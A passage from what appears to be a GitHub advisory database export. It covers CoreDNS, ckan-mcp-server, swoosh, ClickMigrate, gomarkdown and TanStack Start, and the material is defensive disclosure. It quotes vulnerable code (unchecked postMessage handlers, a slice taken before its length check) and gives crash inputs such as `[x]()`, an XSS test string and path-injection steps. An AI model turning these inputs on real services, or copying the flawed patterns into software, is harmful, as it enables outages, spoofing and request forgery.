-count=1 -v\n=== RUN   TestAuditHeadlessNoPortTransferEmitsEmptyBatch\n--- PASS: TestAuditHeadlessNoPortTransferEmitsEmptyBatch (0.00s)\nPASS\nok  \tgithub.com/coredns/coredns/plugin/k8s_external\t0.012s\n```\n\nAdditional focused verification:\n\n```text\n$ go test ./plugin/transfer ./plugin/k8s_external ./plugin/kubernetes -run 'TestAudit|^$' -count=1 -v\nok  \tgithub.com/coredns/coredns/plugin/transfer\t0.006s\nok  \tgithub.com/coredns/coredns/plugin/k8s_external\t0.013s\nok  \tgithub.com/coredns/coredns/plugin/kubernetes\t0.116s\n```\n\nAffected package suites:\n\n```text\n$ go test ./plugin/transfer ./plugin/k8s_external ./plugin/kubernetes -count=1\nok  \tgithub.com/coredns/coredns/plugin/transfer\t0.010s\nok  \tgithub.com/coredns/coredns/plugin/k8s_external\t0.011s\nok  \tgithub.com/coredns/coredns/plugin/kubernetes\t0.194s\n```\n\n### Impact\n\nA network client allowed to request AXFR for the affected zone can trigger a panic in CoreDNS when all prerequisites are present.\n\nRequired configuration/state:\n\n```corefile\nexample.com:53 {\n    kubernetes cluster.local\n    k8s_external example.com {\n        headless\n    }\n    transfer example.com {\n        to *\n    }\n}\n```\n\nAdditional prerequisite:\n\n- The Kubernetes API state contains a headless-service endpoint represented by an EndpointSlice with ready addresses and no ports, producing CoreDNS `msg.Service{Port: -1}`.\n\nIn normal CoreDNS mode, `core/dnsserver/server.go:267-279` recovers the panic and returns `SERVFAIL`, so this is a request-level availability issue and panic/log amplification issue. If the `debug` plugin is enabled, the server disables the recovery path and this can crash the CoreDNS process.","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/coredns/coredns/security-advisories/GHSA-74w3-63xv-x9mv","source_code_location":"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/coredns/coredns","identifiers":[{"value":"GHSA-74w3-63xv-x9mv","type":"GHSA"},{"value":"CVE-2026-62994","type":"CVE"}],"references":["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/coredns/coredns/security/advisories/GHSA-74w3-63xv-x9mv","https://nvd.nist.gov/vuln/detail/CVE-2026-62994","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/coredns/coredns/pull/8207","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/coredns/coredns/commit/ab318db7b4a3a19273852ed627f54888198c8efb","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/coredns/coredns/releases/tag/v1.14.5","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/advisories/GHSA-74w3-63xv-x9mv"],"published_at":"2026-10-16T19:26:42Z","updated_at":"2026-10-16T19:26:43Z","github_reviewed_at":"2026-10-16T19:26:42Z","nvd_published_at":"2026-07-16T20:16:47Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/coredns/coredns"},"vulnerable_version_range":">= 1.9.4, <= 1.14.4","first_patched_version":"1.14.5","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","score":3.7},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-248","name":"Uncaught Exception"},{"cwe_id":"CWE-755","name":"Improper Handling of Exceptional Conditions"}],"credits":[{"user":{"login":"sondt99","id":87920408,"node_id":"MDQ6VXNlcjg3OTIwNDA4","avatar_url":"https://avatars.githubusercontent.com/u/87920408?v=4","gravatar_id":"","url":"https://api.github.com/users/sondt99","html_url":"/sondt99","followers_url":"https://api.github.com/users/sondt99/followers","following_url":"https://api.github.com/users/sondt99/following{/other_user}","gists_url":"https://api.github.com/users/sondt99/gists{/gist_id}","starred_url":"https://api.github.com/users/sondt99/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sondt99/subscriptions","organizations_url":"https://api.github.com/users/sondt99/orgs","repos_url":"https://api.github.com/users/sondt99/repos","events_url":"https://api.github.com/users/sondt99/events{/privacy}","received_events_url":"https://api.github.com/users/sondt99/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":2,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","score":3.7},"epss":{"percentage":0.00459,"percentile":0.37561}},{"ghsa_id":"GHSA-vqff-r82h-9crc","cve_id":"CVE-2026-76894","url":"https://api.github.com/advisories/GHSA-vqff-r82h-9crc","html_url":"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/advisories/GHSA-vqff-r82h-9crc","summary":"ckan-mcp-server: DataStore Table UI resource does not validate postMessage origin (in) and posts to targetOrigin \"*\" (out)","description":"## Summary\n\nThe MCP Apps UI resource (an interactive DataStore table rendered in the host's webview/iframe) communicates with its parent via `postMessage`. Its inbound `message` listener performs no `event.origin` validation, and its outbound messages are sent with target origin `'*'`. Any window/frame able to reach the document can inject data into the table and interfere with the MCP UI handshake, and the UI's own JSON-RPC messages are broadcast without an origin restriction.\n\n## Affected code\n\n`src/resources/datastore-table-ui.ts` (inline HTML):\n\n```js\nwindow.addEventListener('message', function (event) {\n  var msg = event.data;                    // no check of event.origin\n  if (!msg || typeof msg !== 'object') return;\n  if (msg.id !== undefined && _pending[msg.id]) { ... resolve/reject pending MCP request ... }\n  ...\n  if (data && (data.fields || data.records)) initTable(data);   // renders attacker-supplied data\n});\n\n// outbound:\nwindow.parent.postMessage({ jsonrpc: '2.0', id: id, method: method, params: params || {} }, '*');\nmcpNot: window.parent.postMessage({ jsonrpc:'2.0', method:method, params:params||{} }, '*');\n```\n\nThere is no allowlist of accepted origins for inbound messages and no fixed target origin for outbound messages.\n\n## Impact\n\n- **Content spoofing.** A frame that can `postMessage` to the UI can supply\n  arbitrary `fields`/`records`, causing the table to render fabricated rows and\n  links (e.g. a phishing `__link_url`) that appear to come from the queried\n  portal. (Values are HTML-escaped, so this is display spoofing, not script\n  injection — no XSS.)\n- **Handshake/UX interference.** Because inbound messages matching a pending `id`\n  resolve/reject the UI's MCP requests, an attacker frame can spoof responses to\n  the `ui/initialize` handshake or otherwise disrupt the panel.\n- **Outbound leakage.** Posting to `'*'` means the UI's JSON-RPC messages are\n  delivered to whatever the parent origin is; if the resource is ever embedded by\n  a context other than the trusted host, those messages leak to it.\n\nExploitability depends on the host embedding model (in a correct MCP Apps host the\nparent is the trusted host, which limits who can message the frame), so this is a\nhardening / defense-in-depth issue rather than a directly remotely-triggerable\none — hence Low.\n\n## Proof of concept\n\n- `poc/verify-no-origin-check.mjs` — static confirmation that the listener has no\n  origin check and outbound uses `'*'`:\n\n  ```\n  [x] validates event.origin             : NO\n  [x] outgoing postMessage targetOrigin  : '*' (any)\n  RESULT: VULNERABLE\n  ```\n\n- `poc/parent-spoof-poc.html` — a page that embeds the UI and injects fabricated\n  rows cross-origin with no handshake; the UI renders them.\n\n## Remediation\n\n- Validate `event.origin` against the expected host origin on every inbound\n  message; drop messages from other origins.\n- Send outbound `postMessage` with an explicit target origin (the host origin\n  established at initialize time) instead of `'*'`.\n- Optionally, bind to a nonce/channel established during `ui/initialize` so only\n  the negotiated host can drive the panel.","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/ondata/ckan-mcp-server/security-advisories/GHSA-vqff-r82h-9crc","source_code_location":"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/ondata/ckan-mcp-server","identifiers":[{"value":"GHSA-vqff-r82h-9crc","type":"GHSA"},{"value":"CVE-2026-76894","type":"CVE"}],"references":["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/ondata/ckan-mcp-server/security/advisories/GHSA-vqff-r82h-9crc","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/advisories/GHSA-vqff-r82h-9crc"],"published_at":"2026-10-16T19:23:48Z","updated_at":"2026-10-16T19:24:46Z","github_reviewed_at":"2026-10-16T19:23:48Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@aborruso/ckan-mcp-server"},"vulnerable_version_range":"< 0.4.112","first_patched_version":"0.4.112","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","score":3.1},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-345","name":"Insufficient Verification of Data Authenticity"},{"cwe_id":"CWE-940","name":"Improper Verification of Source of a Communication Channel"}],"credits":[{"user":{"login":"Gal3m","id":91008976,"node_id":"MDQ6VXNlcjkxMDA4OTc2","avatar_url":"https://avatars.githubusercontent.com/u/91008976?v=4","gravatar_id":"","url":"https://api.github.com/users/Gal3m","html_url":"/Gal3m","followers_url":"https://api.github.com/users/Gal3m/followers","following_url":"https://api.github.com/users/Gal3m/following{/other_user}","gists_url":"https://api.github.com/users/Gal3m/gists{/gist_id}","starred_url":"https://api.github.com/users/Gal3m/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Gal3m/subscriptions","organizations_url":"https://api.github.com/users/Gal3m/orgs","repos_url":"https://api.github.com/users/Gal3m/repos","events_url":"https://api.github.com/users/Gal3m/events{/privacy}","received_events_url":"https://api.github.com/users/Gal3m/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"mrostamipoor","id":78902717,"node_id":"MDQ6VXNlcjc4OTAyNzE3","avatar_url":"https://avatars.githubusercontent.com/u/78902717?v=4","gravatar_id":"","url":"https://api.github.com/users/mrostamipoor","html_url":"/mrostamipoor","followers_url":"https://api.github.com/users/mrostamipoor/followers","following_url":"https://api.github.com/users/mrostamipoor/following{/other_user}","gists_url":"https://api.github.com/users/mrostamipoor/gists{/gist_id}","starred_url":"https://api.github.com/users/mrostamipoor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mrostamipoor/subscriptions","organizations_url":"https://api.github.com/users/mrostamipoor/orgs","repos_url":"https://api.github.com/users/mrostamipoor/repos","events_url":"https://api.github.com/users/mrostamipoor/events{/privacy}","received_events_url":"https://api.github.com/users/mrostamipoor/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N","score":3.1}},{"ghsa_id":"GHSA-754j-98wh-57rf","cve_id":"CVE-2026-54893","url":"https://api.github.com/advisories/GHSA-754j-98wh-57rf","html_url":"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/advisories/GHSA-754j-98wh-57rf","summary":"swoosh has email-derived URL path injection in Microsoft Graph endpoint","description":"### Summary\n\n`Swoosh.Adapters.MsGraph` builds its Microsoft Graph API request URL by interpolating the sender's email address directly into the URL path (`/users/{from}/sendMail`) without percent-encoding or validation. In applications that derive the `from` address from untrusted or user-influenced input (a relay, a contact form, or a \"send as\" feature), an attacker can inject URL-special characters into the local part of the address to escape the intended path segment and rewrite the request's path and query string. Because the rewritten request is still sent as the application's authenticated `POST` with its Microsoft Graph bearer token, the attacker can redirect it to other Graph endpoints within the token's scopes.\n\n### Details\n\nThe flaw is in `lib/swoosh/adapters/ms_graph.ex`. `api_endpoint_url/2` constructs the Graph endpoint by interpolating the email's `from` address into the path `/users/{from}/sendMail`. The `from` value is taken verbatim from the email struct and is neither percent-encoded nor validated against the RFC 5321 character set before being placed into the URL. `deliver/2` then issues an authenticated `POST` to that constructed URL using the application's Graph bearer token.\n\nBecause the address sits as the local part of `/users/{from}/sendMail`, characters such as `/`, `?`, and `#` are not neutralized. A `/` lets the attacker append or replace additional path segments, a `?` starts an attacker-controlled query string, and `#` truncates the remainder of the intended path. The result is that the authenticated request can be steered to a different Graph endpoint or carry attacker-chosen query parameters, all under the token's existing scopes. Applications that always send with a fixed, trusted `from` address never reach the injectable path and are unaffected.\n\n### PoC\n\n1. Configure an application to use `Swoosh.Adapters.MsGraph` and derive the email `from` address from user-influenced input (e.g. a contact form's reply address or a \"send as\" field).\n2. Submit a `from` address whose local part contains URL-special characters, for example one using `/`, `?`, or `#` to escape the `/users/{from}/sendMail` path segment.\n3. Trigger delivery; Swoosh interpolates the address unencoded and sends the application's authenticated Graph `POST` to the attacker-rewritten path and query string.\n\n### Impact\n\nAn attacker who can influence the sender address can redirect an application's authenticated Microsoft Graph requests to other endpoints within the bearer token's scopes and control the request's query string, turning the mail-sending path into a constrained server-side request forgery against the Graph API.\n\n### References\n\n* Introduction commit: https://github.com/swoosh/swoosh/commit/23bfcdab71aee4613858ba6d116bb3311b72aa58\n* Patch commit: https://github.com/swoosh/swoosh/commit/e38235453e81d1727bfc8d91e69ec4cb211ccf61\n* Affected adapter source: https://github.com/swoosh/swoosh/blob/master/lib/swoosh/adapters/ms_graph.ex","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/swoosh/swoosh/security-advisories/GHSA-754j-98wh-57rf","source_code_location":"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/swoosh/swoosh","identifiers":[{"value":"GHSA-754j-98wh-57rf","type":"GHSA"},{"value":"CVE-2026-54893","type":"CVE"}],"references":["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/swoosh/swoosh/security/advisories/GHSA-754j-98wh-57rf","https://nvd.nist.gov/vuln/detail/CVE-2026-54893","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/swoosh/swoosh/commit/23bfcdab71aee4613858ba6d116bb3311b72aa58","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/swoosh/swoosh/commit/e38235453e81d1727bfc8d91e69ec4cb211ccf61","https://cna.erlef.org/cves/CVE-2026-54893.html","https://osv.dev/vulnerability/EEF-CVE-2026-54893","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/advisories/GHSA-754j-98wh-57rf"],"published_at":"2026-10-16T19:22:31Z","updated_at":"2026-10-16T19:22:32Z","github_reviewed_at":"2026-10-16T19:22:31Z","nvd_published_at":"2026-07-06T15:16:39Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"erlang","name":"swoosh"},"vulnerable_version_range":">= 1.12.0, < 1.26.3","first_patched_version":"1.26.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":null,"score":0.0},"cvss_v4":{"vector_string":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N","score":2.1}},"cwes":[{"cwe_id":"CWE-116","name":"Improper Encoding or Escaping of Output"},{"cwe_id":"CWE-789","name":"Memory Allocation with Excessive Size Value"},{"cwe_id":"CWE-1284","name":"Improper Validation of Specified Quantity in Input"}],"credits":[{"user":{"login":"PJUllrich","id":10426523,"node_id":"MDQ6VXNlcjEwNDI2NTIz","avatar_url":"https://avatars.githubusercontent.com/u/10426523?v=4","gravatar_id":"","url":"https://api.github.com/users/PJUllrich","html_url":"/PJUllrich","followers_url":"https://api.github.com/users/PJUllrich/followers","following_url":"https://api.github.com/users/PJUllrich/following{/other_user}","gists_url":"https://api.github.com/users/PJUllrich/gists{/gist_id}","starred_url":"https://api.github.com/users/PJUllrich/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PJUllrich/subscriptions","organizations_url":"https://api.github.com/users/PJUllrich/orgs","repos_url":"https://api.github.com/users/PJUllrich/repos","events_url":"https://api.github.com/users/PJUllrich/events{/privacy}","received_events_url":"https://api.github.com/users/PJUllrich/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"maennchen","id":333918,"node_id":"MDQ6VXNlcjMzMzkxOA==","avatar_url":"https://avatars.githubusercontent.com/u/333918?v=4","gravatar_id":"","url":"https://api.github.com/users/maennchen","html_url":"/maennchen","followers_url":"https://api.github.com/users/maennchen/followers","following_url":"https://api.github.com/users/maennchen/following{/other_user}","gists_url":"https://api.github.com/users/maennchen/gists{/gist_id}","starred_url":"https://api.github.com/users/maennchen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/maennchen/subscriptions","organizations_url":"https://api.github.com/users/maennchen/orgs","repos_url":"https://api.github.com/users/maennchen/repos","events_url":"https://api.github.com/users/maennchen/events{/privacy}","received_events_url":"https://api.github.com/users/maennchen/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"analyst"},{"user":{"login":"princemaple","id":1329716,"node_id":"MDQ6VXNlcjEzMjk3MTY=","avatar_url":"https://avatars.githubusercontent.com/u/1329716?v=4","gravatar_id":"","url":"https://api.github.com/users/princemaple","html_url":"/princemaple","followers_url":"https://api.github.com/users/princemaple/followers","following_url":"https://api.github.com/users/princemaple/following{/other_user}","gists_url":"https://api.github.com/users/princemaple/gists{/gist_id}","starred_url":"https://api.github.com/users/princemaple/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/princemaple/subscriptions","organizations_url":"https://api.github.com/users/princemaple/orgs","repos_url":"https://api.github.com/users/princemaple/repos","events_url":"https://api.github.com/users/princemaple/events{/privacy}","received_events_url":"https://api.github.com/users/princemaple/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer"}],"comments":6,"cvss":{"vector_string":null,"score":null},"epss":{"percentage":0.00203,"percentile":0.09563}},{"ghsa_id":"GHSA-vgf9-9mxx-hq54","cve_id":"CVE-2026-68549","url":"https://api.github.com/advisories/GHSA-vgf9-9mxx-hq54","html_url":"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/advisories/GHSA-vgf9-9mxx-hq54","summary":"ClickMigrate has Path Traversal in \"revision -m\" argument","description":"### Impact\nA path traversal vulnerability in the `revision` command allowed a crafted migration name supplied via the `-m` argument to escape the intended migrations directory.\n\nUnder specific conditions, an attacker could cause the tool to create a `.sql` file in an arbitrary location writable by the user executing the command.\n\nThis issue is only exploitable if an attacker can influence the migration name passed to the `revision` command, such as through an insecure automation or CI/CD pipeline that forwards untrusted input.\n\n### Patches\nThe vulnerability has been fixed in version 1.0.3 by validating and sanitizing the migration name to prevent directory traversal.\n\nUsers should upgrade to version 1.0.3 or later.\n\n### Workarounds\nDo not pass untrusted input to the `revision -m` argument.\n\nIf upgrading is not immediately possible, ensure that only trusted users or automation can invoke the `revision` command and that migration names are validated before being passed to the tool.\n\n### References\n- Fix commit: https://github.com/QueueForge/ClickMigrate/commit/6b1f2c0202630a82252b3331aa57e64327e112b6","type":"reviewed","severity":"low","repository_advisory_url":"https://api.github.com/repos/QueueForge/ClickMigrate/security-advisories/GHSA-vgf9-9mxx-hq54","source_code_location":"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/QueueForge/ClickMigrate","identifiers":[{"value":"GHSA-vgf9-9mxx-hq54","type":"GHSA"},{"value":"CVE-2026-68549","type":"CVE"}],"references":["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/QueueForge/ClickMigrate/security/advisories/GHSA-vgf9-9mxx-hq54","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/QueueForge/ClickMigrate/commit/6b1f2c0202630a82252b3331aa57e64327e112b6","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/advisories/GHSA-vgf9-9mxx-hq54"],"published_at":"2026-10-16T19:17:28Z","updated_at":"2026-10-16T19:17:30Z","github_reviewed_at":"2026-10-16T19:17:28Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"ClickMigrate"},"vulnerable_version_range":"< 1.0.3","first_patched_version":"1.0.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":3.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-22","name":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"}],"credits":[],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","score":3.3}},{"ghsa_id":"GHSA-cv23-7vc5-jfh7","cve_id":"CVE-2026-102941","url":"https://api.github.com/advisories/GHSA-cv23-7vc5-jfh7","html_url":"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/advisories/GHSA-cv23-7vc5-jfh7","summary":"gomarkdown/markdown IsSafeURL panics on short URLs","description":"## Summary\n\nIsSafeURL slices url[:nPath] before checking that len(url) >= nPath, so a URL shorter than a path prefix (0, 1 or 2 bytes) triggers a slice-bounds panic, and this is reached end to end when the html.Safelink hardening flag is enabled and the input contains an empty or very short link destination, giving an unrecoverable crash DoS. Confirmed at HEAD (e08cff8; present since 2022).\n\n## The defect\n\nparser/parser.go, IsSafeURL:\n\n```go\nfunc IsSafeURL(url []byte) bool {\n    nLink := len(url)\n    for _, path := range validPaths {          // \"/\", \"./\", \"../\"\n        nPath := len(path)\n        linkPrefix := url[:nPath]               // line 789: sliced BEFORE the length guard\n        if nLink >= nPath && bytes.Equal(linkPrefix, path) {   // line 790: guard is too late\n            ...\n```\n\nurl[:nPath] is evaluated before the `nLink >= nPath` check. When len(url) < nPath and cap(url) < nPath, the slice expression panics. Only the relative-path loop is affected; the adjacent URIs loop is already correctly guarded (the signal that this one deviates, the same signal as the anchor). Input: IsSafeURL(\"\") panics ([:1] cap 0), IsSafeURL(\".\") panics ([:2] cap 1), IsSafeURL(\"..\") panics ([:3] cap 2), while IsSafeURL(\"/\") returns true. End to end: `markdown.ToHTML(input, html.CommonFlags|html.Safelink)` with input `[x]()` panics. Attacker model: (1) any service rendering untrusted Markdown with the html.Safelink flag (the URL-sanitizing hardening flag itself introduces the crash); or (2) any downstream that calls the exported parser.IsSafeURL on a 0/1/2-byte attacker URL, no flag required. No recover() anywhere, so an uncaught crash of the calling goroutine.\n\n## Verification\n\nEXECUTED with negative controls. Direct: the empty/1/2-char cases panic with the exact slice-bounds message while \"/\" returns true. End to end via ToHTML with html.CommonFlags|html.Safelink: `[x]()` panics, while `[x](/)`, `[x](http://example.com)`, plain text, and `[x](javascript:alert(1))` (safely dropped) do not. NOT verified: how many downstream apps enable Safelink or call IsSafeURL directly (the default no-Safelink render path does not reach it).\n\n## Suggested fix\n\nMove the slice inside the guard: check `nLink >= nPath` first, then compute url[:nPath] (or use bytes.HasPrefix(url, path), which is length-safe). One-line change, mirroring the already-correct URIs loop.\n\nAlso checked and sound: CVE-2026-40890 (smartypants smartLeftAngle OOB) is fixed; CVE-2024-44337 (list/paragraph infinite loop) is fixed (deep nesting capped at maxNesting=64); default XSS is by design (Safelink/SkipHTML not in CommonFlags).\n\n## Tooling\n\nAI assistance was used while investigating. The panic is executed-verified with negative controls (IsSafeURL on empty/./.. panics with a slice-bounds error while \"/\" returns true; ToHTML with html.Safelink on `[x]()` panics while valid and javascript: links do not), and I confirmed at HEAD that IsSafeURL computes url[:nPath] before the `nLink >= nPath` guard.","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/gomarkdown/markdown/security-advisories/GHSA-cv23-7vc5-jfh7","source_code_location":"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/gomarkdown/markdown","identifiers":[{"value":"GHSA-cv23-7vc5-jfh7","type":"GHSA"},{"value":"CVE-2026-102941","type":"CVE"}],"references":["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/gomarkdown/markdown/security/advisories/GHSA-cv23-7vc5-jfh7","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/gomarkdown/markdown/commit/61af6e1e69710c5ca13cfbaaaa1bc11bc763a8a9","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/advisories/GHSA-cv23-7vc5-jfh7"],"published_at":"2026-10-16T15:41:39Z","updated_at":"2026-10-16T15:41:44Z","github_reviewed_at":"2026-10-16T15:41:39Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"go","name":"github.com/gomarkdown/markdown"},"vulnerable_version_range":"< 0.0.0-20260724235538-61af6e1e6971","first_patched_version":"0.0.0-20260724235538-61af6e1e6971","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-125","name":"Out-of-bounds Read"}],"credits":[{"user":{"login":"arpitjain099","id":3242828,"node_id":"MDQ6VXNlcjMyNDI4Mjg=","avatar_url":"https://avatars.githubusercontent.com/u/3242828?v=4","gravatar_id":"","url":"https://api.github.com/users/arpitjain099","html_url":"/arpitjain099","followers_url":"https://api.github.com/users/arpitjain099/followers","following_url":"https://api.github.com/users/arpitjain099/following{/other_user}","gists_url":"https://api.github.com/users/arpitjain099/gists{/gist_id}","starred_url":"https://api.github.com/users/arpitjain099/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arpitjain099/subscriptions","organizations_url":"https://api.github.com/users/arpitjain099/orgs","repos_url":"https://api.github.com/users/arpitjain099/repos","events_url":"https://api.github.com/users/arpitjain099/events{/privacy}","received_events_url":"https://api.github.com/users/arpitjain099/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"comments":1,"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5},"epss":{"percentage":0.00279,"percentile":0.19023}},{"ghsa_id":"GHSA-qx66-fv34-fjm8","cve_id":"CVE-2026-102989","url":"https://api.github.com/advisories/GHSA-qx66-fv34-fjm8","html_url":"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/advisories/GHSA-qx66-fv34-fjm8","summary":"TanStack Router: Unauthenticated reflected XSS in TanStack Start server-function responses","description":"## Impact\n\nAn unauthenticated attacker can craft a URL to a server function in an affected TanStack Start app. If someone opens the link, the app can return attacker-controlled HTML from its own origin and run the attacker's JavaScript there. The script can access same-origin data available to that visitor and make requests with their authority.\n\n## Cause\n\nThe server-function transport can pass request payload fields into internal middleware state instead of limiting them to public input fields. A malformed payload can leave an attacker-controlled result in the error path. Response handling can then treat a response-shaped object as an HTTP response.\n\n## Affected versions\n\nPublished versions of `@tanstack/start-server-core`, `@tanstack/react-start`, `@tanstack/solid-start`, and `@tanstack/vue-start` from `1.143.12` up to, but not including, their respective patched versions are affected. The patched versions are `@tanstack/start-server-core@1.169.39`, `@tanstack/react-start@1.168.60`, `@tanstack/solid-start@1.168.57`, and `@tanstack/vue-start@1.168.56`.\n\n## Fix\n\nThe fix limits client-supplied server-function input to public fields and validates responses at the server boundary. Upgrade to the corresponding patched package version.\n\n## Temporary mitigations\n\nFor the configured server-function path, usually `/_serverFn/*`, an edge or WAF rule can consider blocking requests without the literal `x-tsr-serverFn: true` header and browser document navigations such as `Sec-Fetch-Mode: navigate` or `Accept: text/html`. A restrictive Content Security Policy on server-function responses can provide another browser-side restriction. These are mitigation suggestions, not a complete fix. The header is client-controlled and is not authentication. Test rules against legitimate GET and POST server functions and use a matching version-specific backport where possible.\n\n## Credits\n\nLovable helped us discover and report this issue. We thank them for their help.","type":"reviewed","severity":"critical","repository_advisory_url":"https://api.github.com/repos/TanStack/router/security-advisories/GHSA-qx66-fv34-fjm8","source_code_location":"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/TanStack/router","identifiers":[{"value":"GHSA-qx66-fv34-fjm8","type":"GHSA"},{"value":"CVE-2026-102989","type":"CVE"}],"references":["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/TanStack/router/security/advisories/GHSA-qx66-fv34-fjm8","https://nvd.nist.gov/vuln/detail/CVE-2026-102989","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/TanStack/router/pull/8573","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/TanStack/router/commit/d521abd71c69f1ff010bb3def4d417cb5fa058cb","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/TanStack/router/releases/tag/release-2026-09-30-1747","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/advisories/GHSA-qx66-fv34-fjm8"],"published_at":"2026-10-15T20:22:20Z","updated_at":"2026-10-15T20:22:22Z","github_reviewed_at":"2026-10-15T20:22:20Z","nvd_published_at":"2026-10-13T17:17:14Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"@tanstack/start-server-core"},"vulnerable_version_range":">= 1.143.12, < 1.169.39","first_patched_version":"1.169.39","vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"@tanstack/react-start"},"vulnerable_version_range":">= 1.143.12, < 1.168.60","first_patched_version":"1.168.60","vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"@tanstack/solid-start"},"vulnerable_version_range":">= 1.143.12, < 1.168.57","first_patched_version":"1.168.57","vulnerable_functions":[]},{"package":{"ecosystem":"npm","name":"@tanstack/vue-start"},"vulnerable_version_range":">= 1.143.12, < 